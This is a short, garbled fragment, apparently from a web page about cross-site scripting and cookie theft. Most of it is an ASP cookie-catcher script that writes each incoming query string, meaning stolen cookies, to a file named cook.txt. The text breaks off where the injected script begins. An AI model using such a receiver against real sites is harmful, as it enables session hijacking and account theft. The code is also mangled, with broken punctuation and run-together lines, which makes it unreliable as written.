Cross-site attacks-steal cookies-vulnerability warning-the black bar safety net

% msg=Request. ServerVariables"QUERYSTRING" testfile=Server. MapPath"cook.txt" set fs=server. CreateObject"scripting. filesystemobject" set thisfile=fs. OpenTextFiletestfile,8,True,0 thisfile. Writeline""&msg& "" thisfile. close set fs = nothing % scriptwindow...